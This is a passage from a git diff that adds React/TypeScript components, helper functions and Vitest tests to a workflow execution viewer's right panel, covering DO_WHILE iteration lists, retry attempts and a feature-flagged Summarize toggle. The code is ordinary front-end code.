react-hooks/exhaustive-deps + }, [isSummarized, fullWorkflow, resolvedOptions, selectedTask.taskId]); + + const effectiveIteration = selectedTask.iteration; + const hasKnownIteration = + isIteration || + (typeof effectiveIteration === "number" && effectiveIteration > 0); + + const headerText = hasKnownIteration + ? `Iteration ${effectiveIteration ?? ""}` + : `Attempt #${selectedTask.retryCount ?? 0}`; + + const getItemIndex = (task: AugmentedExecutionTask): number => + typeof task.iteration === "number" && task.iteration > 0 + ? task.iteration + : (task.retryCount ?? 0); + + const getItemLabel = (task: AugmentedExecutionTask): string => + typeof task.iteration === "number" && task.iteration > 0 + ? `Iteration ${task.iteration}` + : `Attempt #${task.retryCount ?? 0}`; + + return ( + <> + + } + trailing={ + onToggleSummarize ? ( + + ) : undefined + } + totalItems={resolvedOptions.length} + getItemValue={(item) => getItemIndex(item as AugmentedExecutionTask)} + onJumpTo={(value) => { + const match = resolvedOptions.find( + (opt) => getItemIndex(opt as AugmentedExecutionTask) === value, + ); + if (match) handleSelectTask(match as ExecutionTask); + }} + onSelect={(option) => handleSelectTask(option as ExecutionTask)} + isItemSelected={(option) => + getItemIndex(option as AugmentedExecutionTask) === + getItemIndex(selectedTask) + } + renderItem={(option) => { + const task = option as AugmentedExecutionTask; + const showSummarized = task._summarized === true; + const isLoading = isFetching && task._summarized === true; + return ( + <> + + + + {getItemLabel(task)} + {!showSummarized && task.taskId && ( + + {task.taskId} + + )} + {isLoading && ( + + loading… + + )} + {!isLoading && showSummarized && ( + + (summarized) + + )} + + ); + }} + /> + + ); +}; diff --git a/ui-next/src/pages/execution/RightPanel/IterationHeaderLabel.tsx b/ui-next/src/pages/execution/RightPanel/IterationHeaderLabel.tsx new file mode 100644 index 0000000..7f02e22 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/IterationHeaderLabel.tsx @@ -0,0 +1,27 @@ +import { Box } from "@mui/material"; +import { TaskStatus } from "types/TaskStatus"; +import { IterationStatusIcon } from "./IterationStatusIcon"; + +interface IterationHeaderLabelProps { + status: TaskStatus; + text: string; +} + +/** + * Accordion header label used by both DoWhileIteration and + * InlineTaskIterations: a small status icon followed by a text label. + */ +export function IterationHeaderLabel({ + status, + text, +}: IterationHeaderLabelProps) { + return ( + + + {text} + + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/IterationSection.test.tsx b/ui-next/src/pages/execution/RightPanel/IterationSection.test.tsx new file mode 100644 index 0000000..03e629e --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/IterationSection.test.tsx @@ -0,0 +1,236 @@ +/** + * Tests for IterationSection's WORKFLOW_SUMMARIZE feature-flag gate. + * + * `summarizeEnabled` is a module-level constant evaluated at import time. + * To test both flag values without expensive per-test module resets, each + * describe block calls vi.resetModules() + vi.doMock() once in beforeAll and + * imports IterationSection a single time. Tests in the block reuse that import. + * + * InlineTaskIterations and DoWhileIteration are replaced with lightweight stubs + * that render the real SummarizeToggle when they receive an onToggleSummarize + * callback — the same conditional the real components implement. This keeps + * the module tree small (fast) while still asserting on actual rendered UI. + * Dedicated component tests for each child component belong in their own files. + * + * Only useFullWorkflowQuery is mocked to avoid requiring a QueryClientProvider. + */ + +import { render, screen } from "@testing-library/react"; +import React from "react"; +import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import { SummarizeToggle } from "./SummarizeToggle"; + +// --------------------------------------------------------------------------- +// Minimal props +// --------------------------------------------------------------------------- + +const doWhileTask = { + taskType: "DO_WHILE", + taskId: "task-dw-1", + referenceTaskName: "my_loop", + status: "COMPLETED", + iteration: 0, + outputData: { "1": {}, "2": {} }, + inputData: {}, + workflowTask: { + taskReferenceName: "my_loop", + name: "my_loop", + type: "DO_WHILE", + }, +}; + +const retryOptions = [ + { + iteration: 2, + status: "COMPLETED", + taskId: "t2", + workflowTask: { taskReferenceName: "inner" }, + }, + { + iteration: 1, + status: "COMPLETED", + taskId: "t1", + workflowTask: { taskReferenceName: "inner" }, + }, +]; + +const baseProps = { + selectedTask: doWhileTask as any, + retryIterationOptions: retryOptions as any, + isIteration: true, + handleSelectTask: vi.fn(), + handleSelectDoWhileIteration: vi.fn(), + doWhileSelection: [], +}; + +// --------------------------------------------------------------------------- +// Child-component stubs. +// Each renders the real SummarizeToggle when onToggleSummarize is provided, +// mirroring the conditional the real components implement. This tests that +// IterationSection passes the right prop AND that the real toggle renders, +// without pulling in react-query / virtualizer module trees. +// --------------------------------------------------------------------------- + +function IterationListStub({ + onToggleSummarize, + isSummarized, + "data-testid": testId, +}: any) { + return ( +
      + {onToggleSummarize && ( + + )} +
      + ); +} + +function setupMocks(flagEnabled: boolean) { + vi.doMock("utils/flags", () => ({ + featureFlags: { + isEnabled: () => flagEnabled, + getValue: () => undefined, + getContextValue: () => undefined, + }, + FEATURES: { WORKFLOW_SUMMARIZE: "WORKFLOW_SUMMARIZE" }, + })); + vi.doMock("./useFullWorkflowQuery", () => ({ + useFullWorkflowQuery: () => ({ data: undefined, isFetching: false }), + })); + vi.doMock("./InlineTaskIterations", () => ({ + InlineTaskIterations: (props: any) => + React.createElement(IterationListStub, { + ...props, + "data-testid": "inline-iterations", + }), + })); + vi.doMock("./DoWhileIteration", () => ({ + DoWhileIteration: (props: any) => + React.createElement(IterationListStub, { + ...props, + "data-testid": "do-while-iteration", + }), + })); + vi.doMock("./SummarizeConfirmDialog", () => ({ + SummarizeConfirmDialog: () => null, + })); +} + +// --------------------------------------------------------------------------- +// flag = true +// --------------------------------------------------------------------------- + +describe("IterationSection — WORKFLOW_SUMMARIZE enabled", () => { + let IterationSection: React.ComponentType; + + beforeAll(async () => { + vi.resetModules(); + setupMocks(true); + IterationSection = (await import("./IterationSection")).IterationSection; + }); + + afterAll(() => vi.resetModules()); + + it("renders SummarizeToggle inside InlineTaskIterations", () => { + render(); + expect(screen.getByTestId("inline-iterations")).toHaveTextContent( + "Summarize", + ); + }); + + it("renders SummarizeToggle inside DoWhileIteration", () => { + render(); + expect(screen.getByTestId("do-while-iteration")).toHaveTextContent( + "Summarize", + ); + }); + + it("does not render SummarizeToggle for simple tasks with multiple retries", () => { + const simpleTask = { + taskType: "SIMPLE", + taskId: "task-simple-1", + referenceTaskName: "http_task", + status: "COMPLETED", + retryCount: 2, + iteration: 0, + workflowTask: { + taskReferenceName: "http_task", + name: "http_task", + type: "SIMPLE", + }, + }; + const retryAttempts = [ + { + retryCount: 2, + status: "COMPLETED", + taskId: "t3", + workflowTask: { taskReferenceName: "http_task" }, + }, + { + retryCount: 1, + status: "FAILED", + taskId: "t2", + workflowTask: { taskReferenceName: "http_task" }, + }, + { + retryCount: 0, + status: "FAILED", + taskId: "t1", + workflowTask: { taskReferenceName: "http_task" }, + }, + ]; + + render( + , + ); + + expect(screen.getByTestId("inline-iterations")).not.toHaveTextContent( + "Summarize", + ); + expect(screen.queryByTestId("do-while-iteration")).toBeNull(); + }); +}); + +// --------------------------------------------------------------------------- +// flag = false (OSS default via context.js) +// --------------------------------------------------------------------------- + +describe("IterationSection — WORKFLOW_SUMMARIZE disabled (OSS)", () => { + let IterationSection: React.ComponentType; + + beforeAll(async () => { + vi.resetModules(); + setupMocks(false); + IterationSection = (await import("./IterationSection")).IterationSection; + }); + + afterAll(() => vi.resetModules()); + + it("does not render SummarizeToggle inside InlineTaskIterations", () => { + render(); + expect(screen.getByTestId("inline-iterations")).not.toHaveTextContent( + "Summarize", + ); + }); + + it("does not render SummarizeToggle inside DoWhileIteration", () => { + render(); + expect(screen.getByTestId("do-while-iteration")).not.toHaveTextContent( + "Summarize", + ); + }); + + it("does not render SummarizeConfirmDialog", () => { + render(); + expect(screen.queryByRole("dialog")).toBeNull(); + }); +}); diff --git a/ui-next/src/pages/execution/RightPanel/IterationSection.tsx b/ui-next/src/pages/execution/RightPanel/IterationSection.tsx new file mode 100644 index 0000000..8efcdd5 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/IterationSection.tsx @@ -0,0 +1,143 @@ +import { useCallback, useEffect, useRef } from "react"; +import { AuthHeaders, TaskType } from "types/common"; +import { DoWhileSelection, ExecutionTask } from "types/Execution"; +import { featureFlags, FEATURES } from "utils/flags"; +import { + AugmentedExecutionTask, + InlineTaskIterations, +} from "./InlineTaskIterations"; +import { DoWhileIteration } from "./DoWhileIteration"; +import { SummarizeConfirmDialog } from "./SummarizeConfirmDialog"; +import { useSummarize } from "./useSummarize"; +import { IterationPlaceholder } from "./iterationHelpers"; + +const summarizeEnabled = featureFlags.isEnabled( + FEATURES.WORKFLOW_SUMMARIZE, + true, +); + +export interface IterationSectionProps { + selectedTask: AugmentedExecutionTask; + retryIterationOptions: (AugmentedExecutionTask | IterationPlaceholder)[]; + isIteration: boolean; + handleSelectTask: (task: ExecutionTask) => void; + handleSelectDoWhileIteration: (data: DoWhileSelection) => void; + doWhileSelection?: DoWhileSelection[]; + executionId?: string; + authHeaders?: AuthHeaders; + parentDoWhileRef?: string; +} + +/** + * Renders the iteration list UI (InlineTaskIterations and/or DoWhileIteration) + * for DO_WHILE-related tasks. Owns the summarize toggle state so it is shared + * between both sub-components and persists across task navigation as long as + * this component stays mounted. + * + * Only rendered by RightPanel when at least one of the two sub-components + * would be visible, keeping summarize state off the critical path for + * non-DO_WHILE tasks. + */ +export function IterationSection({ + selectedTask, + retryIterationOptions, + isIteration, + handleSelectTask, + handleSelectDoWhileIteration, + doWhileSelection, + executionId, + authHeaders, + parentDoWhileRef, +}: IterationSectionProps) { + const { + isSummarized, + confirmOpen, + handleToggleChange, + handleConfirm, + handleCancel, + } = useSummarize(); + + const isDoWhileContext = + selectedTask.taskType === TaskType.DO_WHILE || + parentDoWhileRef != null || + isIteration; + + const toggleProps = + summarizeEnabled && isDoWhileContext + ? { isSummarized, onToggleSummarize: handleToggleChange } + : { isSummarized: true, onToggleSummarize: undefined }; + + // Remembers the last inline iteration the user explicitly picked so we can + // restore it when they navigate away (e.g. to the DO_WHILE task) and back. + const lastInlineSelection = useRef<{ + innerTaskRef: string; + iteration: number; + } | null>(null); + + const handleSelectTaskWithMemory = useCallback( + (task: ExecutionTask) => { + handleSelectTask(task); + const innerRef = task.workflowTask?.taskReferenceName; + if (task.iteration != null && innerRef) { + lastInlineSelection.current = { + innerTaskRef: innerRef, + iteration: task.iteration, + }; + } + }, + [handleSelectTask], + ); + + // When selectedTask changes back to an inner task, restore the saved + // iteration if it differs from what was clicked. + useEffect(() => { + const saved = lastInlineSelection.current; + if (!saved) return; + if (selectedTask?.taskType === TaskType.DO_WHILE) return; + if (selectedTask?.workflowTask?.taskReferenceName !== saved.innerTaskRef) + return; + if (selectedTask?.iteration === saved.iteration) return; + + const match = retryIterationOptions?.find( + (opt) => opt.iteration === saved.iteration && !("_placeholder" in opt), + ); + if (match) handleSelectTask(match as ExecutionTask); + // handleSelectTask is a stable dispatch — intentionally omitted from deps + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [selectedTask?.taskId]); + + return ( + <> + {summarizeEnabled && isDoWhileContext && ( + + )} + {retryIterationOptions.length > 1 && ( + + )} + {selectedTask.taskType === TaskType.DO_WHILE && ( + + )} + + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/IterationStatusIcon.tsx b/ui-next/src/pages/execution/RightPanel/IterationStatusIcon.tsx new file mode 100644 index 0000000..4d96f88 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/IterationStatusIcon.tsx @@ -0,0 +1,16 @@ +import { TaskStatus } from "types/TaskStatus"; +import { dropdownIcon } from "./dropdownIcon"; + +export function IterationStatusIcon({ + status, + size = 14, +}: { + status: TaskStatus; + size?: number; +}) { + return ( + + {dropdownIcon(status).trim()} + + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/LabelRenderer.tsx b/ui-next/src/pages/execution/RightPanel/LabelRenderer.tsx new file mode 100644 index 0000000..b3e32f4 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/LabelRenderer.tsx @@ -0,0 +1,49 @@ +import { Box } from "@mui/material"; +import { dropdownIcon } from "./dropdownIcon"; + +export interface LabelRendererProps { + iterationTask: any; + isIteration?: boolean; + hideTaskId?: boolean; +} + +export const LabelRenderer = ({ + iterationTask, + isIteration, + hideTaskId = false, +}: LabelRendererProps) => { + const isSummarized = iterationTask._summarized === true; + // Use the iteration number from the task data when available — this is more + // reliable than the `isIteration` prop, which depends on `loopOverTask` + // being set correctly on the raw task (not always the case for INLINE tasks). + const iterationNumber: number | undefined = + typeof iterationTask.iteration === "number" && iterationTask.iteration > 0 + ? iterationTask.iteration + : undefined; + const showAsIteration = isIteration || iterationNumber != null; + + const textLabel = showAsIteration + ? `Iteration ${iterationNumber ?? iterationTask.iteration}${ + iterationTask?.retryCount > 0 + ? " - retry attempt " + iterationTask.retryCount + : "" + }` + : `Attempt #${iterationTask.retryCount ?? 0}`; + + return ( + + {dropdownIcon(iterationTask.status)} {`${textLabel}`} + {!hideTaskId && !isSummarized && iterationTask.taskId + ? ` - ${iterationTask.taskId}` + : null} + {isSummarized ? ( + + (summarized) + + ) : null} + + ); +}; diff --git a/ui-next/src/pages/execution/RightPanel/RightPanel.tsx b/ui-next/src/pages/execution/RightPanel/RightPanel.tsx new file mode 100644 index 0000000..4ff9195 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/RightPanel.tsx @@ -0,0 +1,451 @@ +import { Box, Paper } from "@mui/material"; +import { ArrowCounterClockwise, X as CloseIcon } from "@phosphor-icons/react"; +import { + Button, + DropdownButton, + Heading, + IconButton, + ReactJson, + Tab, + Tabs, +} from "components"; +import { IterationSection } from "./IterationSection"; +import ClipboardCopy from "components/ui/ClipboardCopy"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import StatusBadge from "components/StatusBadge"; +import { FunctionComponent, useMemo } from "react"; +import { useContainerQuery } from "react-container-query"; +import { colors } from "theme/tokens/variables"; +import { TaskType } from "types/common"; +import { + DoWhileSelection, + ExecutionTask, + WorkflowExecutionStatus, +} from "types/Execution"; +import { TaskStatus } from "types/TaskStatus"; +import { featureFlags, FEATURES } from "utils/flags"; +import { ActorRef } from "xstate"; +import { UpdateTaskStatusForm } from ".."; +import { + DEFINITION_TAB, + PLUGIN_PANEL_TAB_BASE, + INPUT_TAB, + JSON_TAB, + LOGS_TAB, + OUTPUT_TAB, + SUMMARY_TAB, +} from "../state/constants"; +import TaskLogs from "../TaskLogs"; +import TaskSummary from "../TaskSummary"; +import { pluginRegistry } from "plugins/registry"; +import { RightPanelContextEventTypes, RightPanelEvents } from "./state"; +import { useRightPanelActor } from "./state/hook"; +import { SummaryTask } from "./SummaryTask"; +import { dropdownIcon } from "./dropdownIcon"; +import { SecondaryActions } from "./SecondaryActions"; + +const executionTaskHeaderContainerQuery = { + small: { maxWidth: 699 }, + large: { minWidth: 700 }, +}; + +const rerunFromForkAndDowhileTasksEnabled = featureFlags.isEnabled( + FEATURES.ENABLE_RERUN_FROM_FORK_AND_DOWHILE_TASKS, +); + +export interface RightPanelProps { + rightPanelActor: ActorRef; + workflowName: string; + workflowStatus: string; + doWhileSelection?: DoWhileSelection[]; +} + +export const RightPanel: FunctionComponent = ({ + rightPanelActor, + workflowName, + workflowStatus, + doWhileSelection, +}) => { + const [containerQueryState, containerRef] = useContainerQuery( + executionTaskHeaderContainerQuery, + { width: 100, height: 100 }, + ); + + const [ + { + selectedTask, + isIteration, + retryIterationOptions, + parentDoWhileRef, + errorMessage, + currentTab, + maybeSiblings, + isReRunFromTaskInProgress, + executionId, + authHeaders, + }, + { + handleChangeTaskStatus: onChangeTaskStatus, + handleClosePanel: onClosePanel, + handleReRunRequest, + clearErrorMessage, + handleSelectTask, + handleSelectDoWhileIteration, + }, + ] = useRightPanelActor(rightPanelActor); + + const dfOptions: ExecutionTask[] = maybeSiblings; + + const maybeStatusForm = useMemo( + () => + selectedTask?.status && + [TaskStatus.IN_PROGRESS, TaskStatus.SCHEDULED].includes( + selectedTask.status, + ) ? ( + + ) : null, + [selectedTask, onChangeTaskStatus], + ); + + const maybeRerunTask = useMemo(() => { + if (workflowStatus !== WorkflowExecutionStatus.PAUSED) { + return ( + + + + ); + } + return null; + }, [handleReRunRequest, workflowStatus]); + + const changeCurrentTab = (tab: number) => { + rightPanelActor.send({ + type: RightPanelContextEventTypes.CHANGE_CURRENT_TAB, + currentTab: tab, + }); + }; + + // Plugin execution-panel tabs for this task type, minus any whose shouldShow + // predicate excludes this specific task. Computed once so the tab list and the + // tab content below stay index-aligned. + const pluginPanels = pluginRegistry + .getTaskExecutionPanels(`${selectedTask?.taskType}`) + .filter((panel) => !panel.shouldShow || panel.shouldShow(selectedTask)); + + // If the summary task is selected just show a small summary + if (selectedTask?.taskType === "TASK_SUMMARY") + return ; + + const isKeptLastNPruned = (selectedTask as any)?._summarized === true; + + const prunedNotice = ( + + This data isn't available in summarize mode. + + ); + + return !selectedTask ? null : ( + + {errorMessage && ( + + )} + + + + + + + + + theme.palette?.mode === "dark" ? colors.black : colors.white, + }} + > + + + + {selectedTask.workflowTask.name} + + + + {selectedTask?.status === "PENDING" || + isKeptLastNPruned ? null : ( + + + + {selectedTask.taskId} + + + + )} + {((retryIterationOptions != null && + retryIterationOptions.length > 1) || + selectedTask?.taskType === TaskType.DO_WHILE) && ( + + + + )} + {((selectedTask?.workflowTask?.type !== TaskType.DO_WHILE && + selectedTask?.workflowTask?.type !== TaskType.FORK_JOIN) || + rerunFromForkAndDowhileTasksEnabled) && ( + {maybeRerunTask} + )} + + + 0 ? ( + ({ + label: ( + <> + {dropdownIcon(option.status)}{" "} + {option?.workflowTask?.taskReferenceName} + + ), + handler: () => handleSelectTask(option), + }))} + > + Instances + + ) : null + } + containerQueryState={containerQueryState} + /> + + + + + + <> + + changeCurrentTab(SUMMARY_TAB)} /> + changeCurrentTab(INPUT_TAB)} + disabled={!selectedTask.status} + /> + changeCurrentTab(OUTPUT_TAB)} + disabled={!selectedTask.status} + /> + changeCurrentTab(LOGS_TAB)} + disabled={!selectedTask.status} + /> + changeCurrentTab(JSON_TAB)} + disabled={!selectedTask.status} + /> + changeCurrentTab(DEFINITION_TAB)} + /> + {pluginPanels.map((panel, i) => ( + changeCurrentTab(PLUGIN_PANEL_TAB_BASE + i)} + disabled={!selectedTask.status} + /> + ))} + + + {currentTab === SUMMARY_TAB && ( + + + {maybeStatusForm} + + )} + {currentTab === INPUT_TAB && + (!selectedTask.inputData ? ( + prunedNotice + ) : ( + + ))} + {currentTab === OUTPUT_TAB && + (!selectedTask.outputData ? ( + prunedNotice + ) : ( + + ))} + {currentTab === LOGS_TAB && + (isKeptLastNPruned ? ( + prunedNotice + ) : ( + + + + ))} + {currentTab === JSON_TAB && ( + + )} + {currentTab === DEFINITION_TAB && ( + + )} + {pluginPanels.map((panel, i) => + currentTab === PLUGIN_PANEL_TAB_BASE + i ? ( + + + + ) : null, + )} + + + + ); +}; diff --git a/ui-next/src/pages/execution/RightPanel/SecondaryActions.tsx b/ui-next/src/pages/execution/RightPanel/SecondaryActions.tsx new file mode 100644 index 0000000..1db2d74 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/SecondaryActions.tsx @@ -0,0 +1,51 @@ +import { Box } from "@mui/material"; +import { Button } from "components"; +import { ExecutionTask } from "types/Execution"; +import { usePushHistory } from "utils/hooks/usePushHistory"; + +export interface SecondaryActionsProps { + selectedTask: ExecutionTask; + containerQueryState: any; + dynamicForkInstances: any; +} + +export const SecondaryActions = ({ + selectedTask, + containerQueryState, + dynamicForkInstances, +}: SecondaryActionsProps) => { + const navigate = usePushHistory(); + // Within dynamic forks, tasks can't be SIMPLE — the task name is used as the + // type since it's generated. SIMPLE means we're looking at a real task def. + return selectedTask?.workflowTask?.type === "SIMPLE" ? ( + + + + + + ) : ( + dynamicForkInstances + ); +}; diff --git a/ui-next/src/pages/execution/RightPanel/SummarizeConfirmDialog.tsx b/ui-next/src/pages/execution/RightPanel/SummarizeConfirmDialog.tsx new file mode 100644 index 0000000..d74c135 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/SummarizeConfirmDialog.tsx @@ -0,0 +1,54 @@ +import { + Box, + Dialog, + DialogActions, + DialogContent, + DialogTitle, +} from "@mui/material"; +import ActionButton from "components/ui/buttons/ActionButton"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { Button, Text } from "components/index"; + +interface SummarizeConfirmDialogProps { + open: boolean; + onCancel: () => void; + onConfirm: () => void; +} + +export function SummarizeConfirmDialog({ + open, + onCancel, + onConfirm, +}: SummarizeConfirmDialogProps) { + return ( + + Show full iteration data? + + + + This will re-fetch the workflow without summarization. For workflows + with many iterations or large output payloads, this may be slow. Use{" "} + Summarize on the task to limit data size. + + + + + + + Continue + + + + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/SummarizeToggle.tsx b/ui-next/src/pages/execution/RightPanel/SummarizeToggle.tsx new file mode 100644 index 0000000..fd30c9a --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/SummarizeToggle.tsx @@ -0,0 +1,29 @@ +import { Box, Switch, Typography } from "@mui/material"; + +interface SummarizeToggleProps { + checked: boolean; + onChange: (checked: boolean) => void; +} + +export function SummarizeToggle({ checked, onChange }: SummarizeToggleProps) { + return ( + e.stopPropagation()} + sx={{ display: "inline-flex", alignItems: "center", ml: 0.5, gap: 2 }} + > + + Summarize + + onChange(e.target.checked)} + sx={{ ml: -0.25 }} + /> + + ); +} diff --git a/ui-next/src/pages/execution/RightPanel/SummaryTask.tsx b/ui-next/src/pages/execution/RightPanel/SummaryTask.tsx new file mode 100644 index 0000000..bf9831c --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/SummaryTask.tsx @@ -0,0 +1,74 @@ +import { FunctionComponent } from "react"; +import { Grid, Paper } from "@mui/material"; +import { X as CloseIcon } from "@phosphor-icons/react"; +import { ExecutionTask, TaskStatus } from "types"; +import { taskStatusCompareFn } from "utils"; + +import { KeyValueTable } from "components"; +import StatusBadge from "components/StatusBadge"; +import { useLocation } from "react-router"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; + +interface TaskSummaryProps { + selectedTask: ExecutionTask; + onClose: () => void; +} + +export const SummaryTask: FunctionComponent = ({ + selectedTask, + onClose, +}) => { + const location = useLocation(); + const pushHistory = usePushHistory(); + + return ( + + + + + + + + There are way too much tasks to render here is a summary of the + nested tasks.{" "} + { + pushHistory(`${location.pathname}?tab=taskList`); + onClose(); + }} + > + Click here + {" "} + to see the list of tasks. + + + + , + ) + + .sort(([key1], [key2]) => taskStatusCompareFn(key1, key2)) + .map(([key, value]: [string, string]) => ({ + label: , + value, + }))} + /> + + + + ); +}; diff --git a/ui-next/src/pages/execution/RightPanel/doWhileIterationHelpers.ts b/ui-next/src/pages/execution/RightPanel/doWhileIterationHelpers.ts new file mode 100644 index 0000000..3febc0f --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/doWhileIterationHelpers.ts @@ -0,0 +1,66 @@ +import { TaskStatus } from "types/TaskStatus"; + +/** + * Returns the display status for a single DO_WHILE iteration in the fallback + * rendering path (where the server has not returned per-iteration status data). + * + * - If the iteration's numeric key exists in the parent task's outputData, the + * iteration completed → COMPLETED. + * - Otherwise the loop is still active on this iteration or it + * failed/timed-out here → inherit the parent task's own status. + */ +export function deriveFallbackIterationStatus( + iteration: number, + outputData: Record, + taskStatus: TaskStatus, +): TaskStatus { + return Object.prototype.hasOwnProperty.call(outputData, String(iteration)) + ? TaskStatus.COMPLETED + : taskStatus; +} + +/** + * Returns true when the iteration's output data entry carries the _summarized + * sentinel, or when the key is absent and the task is no longer processing + * (implying older records were pruned by keepLastN). + */ +export function isIterationSummarized( + option: number, + outputData: Record, + isTaskProcessing: boolean, +): boolean { + if (!Object.prototype.hasOwnProperty.call(outputData, option.toString())) { + return !isTaskProcessing; + } + const val = outputData[option.toString()]; + return ( + val !== null && + typeof val === "object" && + (val as Record)["_summarized"] === true + ); +} + +export function getOrderedIterationKeys( + outputData: Record, + selectedTask: { iteration?: number }, +): number[] { + const numericOutputKeys = Object.keys(outputData) + .map(Number) + .filter((k) => !isNaN(k)); + + const maxFromOutputData = + numericOutputKeys.length > 0 ? Math.max(...numericOutputKeys) : 0; + const maxFromTask = + typeof selectedTask.iteration === "number" ? selectedTask.iteration : 0; + const totalIterations = Math.max(maxFromOutputData, maxFromTask); + + if (totalIterations > 0) { + return Array.from( + { length: totalIterations }, + (_, i) => totalIterations - i, + ); + } + + numericOutputKeys.sort((a, b) => b - a); + return numericOutputKeys; +} diff --git a/ui-next/src/pages/execution/RightPanel/dropdownIcon.ts b/ui-next/src/pages/execution/RightPanel/dropdownIcon.ts new file mode 100644 index 0000000..81ff132 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/dropdownIcon.ts @@ -0,0 +1,30 @@ +import { TaskStatus } from "types/TaskStatus"; + +export function dropdownIcon(status: string) { + let icon; + switch (status) { + case TaskStatus.COMPLETED: + icon = "\u2705"; + break; // Green-checkmark + case TaskStatus.COMPLETED_WITH_ERRORS: + icon = "\u2757"; + break; // Exclamation + case TaskStatus.CANCELED: + icon = "\uD83D\uDED1"; + break; // stopsign + case TaskStatus.IN_PROGRESS: + case TaskStatus.SCHEDULED: + icon = "\u231B"; + break; // hourglass + case TaskStatus.TIMED_OUT: + icon = "\u26D4"; + break; + case TaskStatus.FAILED: + icon = "\u2757"; + break; + default: + icon = "\u274C"; // red-X + } + + return icon + "\u2003"; +} diff --git a/ui-next/src/pages/execution/RightPanel/index.ts b/ui-next/src/pages/execution/RightPanel/index.ts new file mode 100644 index 0000000..1890c11 --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/index.ts @@ -0,0 +1,2 @@ +export * from "./RightPanel"; +export * from "./state"; diff --git a/ui-next/src/pages/execution/RightPanel/iterationHelpers.test.ts b/ui-next/src/pages/execution/RightPanel/iterationHelpers.test.ts new file mode 100644 index 0000000..4064c1f --- /dev/null +++ b/ui-next/src/pages/execution/RightPanel/iterationHelpers.test.ts @@ -0,0 +1,203 @@ +import { describe, expect, it } from "vitest"; +import { + buildSuggestions, + fillIterationPlaceholders, + pageStartForIteration, +} from "./iterationHelpers"; + +// --------------------------------------------------------------------------- +// buildSuggestions +// --------------------------------------------------------------------------- + +describe("buildSuggestions", () => { + it("returns exact match first, then prefix-scaled numbers", () => { + expect(buildSuggestions("5", 350)).toEqual([5, 50, 51, 52, 53, 54]); + }); + + it("caps results at 6 entries", () => { + expect(buildSuggestions("1", 999).length).toBeLessThanOrEqual(6); + }); + + it("includes exact match even when no scaled values exist", () => { + expect(buildSuggestions("35", 35)).toEqual([35]); + }); + + it("includes both exact and one scaled match when max is just large enough", () => { + expect(buildSuggestions("35", 350)).toEqual([35, 350]); + }); + + it("returns empty for prefix 0", () => { + expect(buildSuggestions("0", 350)).toEqual([]); + }); + + it("returns empty when prefix exceeds max", () => { + expect(buildSuggestions("400", 350)).toEqual([]); + }); + + it("returns empty for non-numeric prefix", () => { + expect(buildSuggestions("abc", 350)).toEqual([]); + }); + + it("returns empty for empty prefix", () => { + expect(buildSuggestions("", 350)).toEqual([]); + }); + + it("handles single-digit prefix against small max", () => { + expect(buildSuggestions("3", 30)).toEqual([3, 30]); + }); + + it("does not include numbers beyond max in scaled results", () => { + const results = buildSuggestions("1", 15); + expect(results.every((n) => n <= 15)).toBe(true); + }); +}); + +// --------------------------------------------------------------------------- +// pageStartForIteration +// --------------------------------------------------------------------------- + +describe("pageStartForIteration", () => { + const PAGE_SIZE = 50; + + it("returns the correct page start for a low iteration number", () => { + // iteration 5 of 350: index = 350-5 = 345, page = floor(345/50)*50 = 300 + expect(pageStartForIteration(5, 350, PAGE_SIZE)).toBe(300); + }); + + it("returns 0 for the highest iteration number (index 0)", () => { + // iteration 350 of 350: index = 0, page = 0 + expect(pageStartForIteration(350, 350, PAGE_SIZE)).toBe(0); + }); + + it("returns 0 for an iteration on the first page", () => { + // iteration 310 of 350: index = 40, page = 0 + expect(pageStartForIteration(310, 350, PAGE_SIZE)).toBe(0); + }); + + it("returns the correct boundary between pages", () => { + // iteration 301 of 350: index = 49, page = 0 + expect(pageStartForIteration(301, 350, PAGE_SIZE)).toBe(0); + // iteration 300 of 350: index = 50, page = 50 + expect(pageStartForIteration(300, 350, PAGE_SIZE)).toBe(50); + }); + + it("returns null for iteration 0 (invalid)", () => { + expect(pageStartForIteration(0, 350, PAGE_SIZE)).toBeNull(); + }); + + it("returns null when iterationNum exceeds totalHits", () => { + expect(pageStartForIteration(400, 350, PAGE_SIZE)).toBeNull(); + }); + + it("returns null when totalHits is 0", () => { + expect(pageStartForIteration(1, 0, PAGE_SIZE)).toBeNull(); + }); + + it("handles a loop with exactly one page of iterations", () => { + // 50 total iterations, asking for iteration 1 (last): index=49, page=0 + expect(pageStartForIteration(1, 50, PAGE_SIZE)).toBe(0); + // asking for iteration 50 (first): index=0, page=0 + expect(pageStartForIteration(50, 50, PAGE_SIZE)).toBe(0); + }); +}); + +// --------------------------------------------------------------------------- +// fillIterationPlaceholders +// --------------------------------------------------------------------------- + +const TASK_A = { iteration: 350, status: "COMPLETED", taskId: "t350" }; +const TASK_B = { iteration: 349, status: "COMPLETED", taskId: "t349" }; +const WORKFLOW_TASK = { name: "my_task", taskReferenceName: "my_task_ref" }; + +describe("fillIterationPlaceholders", () => { + it("returns loopOver sorted descending when length >= totalIterations", () => { + const result = fillIterationPlaceholders( + [TASK_A, TASK_B], + 2, + "loop_ref", + WORKFLOW_TASK, + ); + expect(result).toHaveLength(2); + expect(result[0]).toMatchObject({ iteration: 350 }); + expect(result[1]).toMatchObject({ iteration: 349 }); + }); + + it("fills missing iterations with _summarized placeholders", () => { + // loopOver has iterations 3 and 2 out of a total of 